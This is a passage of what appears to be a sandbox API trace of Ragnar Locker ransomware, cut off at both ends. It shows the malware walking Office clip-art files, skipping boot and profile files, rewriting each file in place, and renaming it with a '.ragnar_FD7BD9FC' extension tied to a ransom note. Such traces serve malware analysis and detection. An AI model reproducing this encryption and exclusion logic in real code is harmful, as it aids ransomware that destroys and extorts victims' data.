lpString2="autorun.inf") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="boot.ini") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="bootfont.bin") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="bootsect.bak") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="bootmgr") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="bootmgr.efi") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="bootmgfw.efi") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="desktop.ini") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="iconcache.db") returned 1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="ntldr") returned -1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="ntuser.dat") returned -1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="ntuser.dat.log") returned -1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="ntuser.ini") returned -1 [0087.291] lstrcmpiW (lpString1="J0285820.WMF", lpString2="thumbs.db") returned -1 [0087.291] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.291] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.291] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.291] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.291] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.291] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.291] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf")) returned 0x20 [0087.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.291] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8720) returned 1 [0087.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2207, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.291] GetProcessHeap () returned 0x580000 [0087.291] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.291] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.293] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.293] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2210, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2210, lpOverlapped=0x0) returned 1 [0087.294] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.294] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2210, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.294] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2210, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2210, lpOverlapped=0x0) returned 1 [0087.294] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2210, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.294] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.294] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.294] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.295] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.295] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.295] GetProcessHeap () returned 0x580000 [0087.295] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.295] CloseHandle (hObject=0xf4) returned 1 [0087.295] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" [0087.295] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.ragnar_FD7BD9FC" [0087.295] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0087.296] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.296] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285822.WMF" | out: lpString1="J0285822.WMF") returned="J0285822.WMF" [0087.296] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF") returned=".WMF" [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="autorun.inf") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="boot.ini") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="bootfont.bin") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="bootsect.bak") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="bootmgr") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="bootmgr.efi") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="bootmgfw.efi") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="desktop.ini") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="iconcache.db") returned 1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="ntldr") returned -1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="ntuser.dat") returned -1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="ntuser.dat.log") returned -1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="ntuser.ini") returned -1 [0087.296] lstrcmpiW (lpString1="J0285822.WMF", lpString2="thumbs.db") returned -1 [0087.296] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.296] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.296] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.296] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.296] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.296] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.296] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf")) returned 0x20 [0087.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.297] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8608) returned 1 [0087.297] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2197, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.297] GetProcessHeap () returned 0x580000 [0087.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.297] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.299] VirtualAlloc (lpAddress=0x0, dwSize=0x21a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.299] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.299] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.299] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x21a0, lpOverlapped=0x0) returned 1 [0087.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.300] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.300] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x21a0, lpOverlapped=0x0) returned 1 [0087.301] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.301] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.301] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.301] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.301] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.301] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.301] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.301] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.301] GetProcessHeap () returned 0x580000 [0087.301] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.301] CloseHandle (hObject=0xf4) returned 1 [0087.302] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" [0087.302] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.ragnar_FD7BD9FC" [0087.302] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.302] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0087.302] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.302] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287018.WMF" | out: lpString1="J0287018.WMF") returned="J0287018.WMF" [0087.302] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF") returned=".WMF" [0087.302] lstrcmpiW (lpString1="J0287018.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.302] lstrcmpiW (lpString1="J0287018.WMF", lpString2="autorun.inf") returned 1 [0087.302] lstrcmpiW (lpString1="J0287018.WMF", lpString2="boot.ini") returned 1 [0087.302] lstrcmpiW (lpString1="J0287018.WMF", lpString2="bootfont.bin") returned 1 [0087.302] lstrcmpiW (lpString1="J0287018.WMF", lpString2="bootsect.bak") returned 1 [0087.302] lstrcmpiW (lpString1="J0287018.WMF", lpString2="bootmgr") returned 1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="bootmgr.efi") returned 1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="bootmgfw.efi") returned 1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="desktop.ini") returned 1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="iconcache.db") returned 1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="ntldr") returned -1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="ntuser.dat") returned -1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="ntuser.dat.log") returned -1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="ntuser.ini") returned -1 [0087.303] lstrcmpiW (lpString1="J0287018.WMF", lpString2="thumbs.db") returned -1 [0087.303] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.303] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.303] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.303] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.303] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.303] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.303] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf")) returned 0x20 [0087.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.303] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30872) returned 1 [0087.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x788f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.304] GetProcessHeap () returned 0x580000 [0087.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.304] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.305] VirtualAlloc (lpAddress=0x0, dwSize=0x7898, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.305] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.306] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.306] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7898, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7898, lpOverlapped=0x0) returned 1 [0087.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.307] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7898, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.307] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7898, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7898, lpOverlapped=0x0) returned 1 [0087.307] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7898, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.307] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.308] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7898, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.308] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.308] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.308] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.308] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.308] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.308] GetProcessHeap () returned 0x580000 [0087.308] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.308] CloseHandle (hObject=0xf4) returned 1 [0087.308] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" [0087.308] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.ragnar_FD7BD9FC" [0087.308] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.309] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0087.309] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.309] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287019.WMF" | out: lpString1="J0287019.WMF") returned="J0287019.WMF" [0087.309] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF") returned=".WMF" [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="autorun.inf") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="boot.ini") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="bootfont.bin") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="bootsect.bak") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="bootmgr") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="bootmgr.efi") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="bootmgfw.efi") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="desktop.ini") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="iconcache.db") returned 1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="ntldr") returned -1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="ntuser.dat") returned -1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="ntuser.dat.log") returned -1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", lpString2="ntuser.ini") returned -1 [0087.309] lstrcmpiW (lpString1="J0287019.WMF", 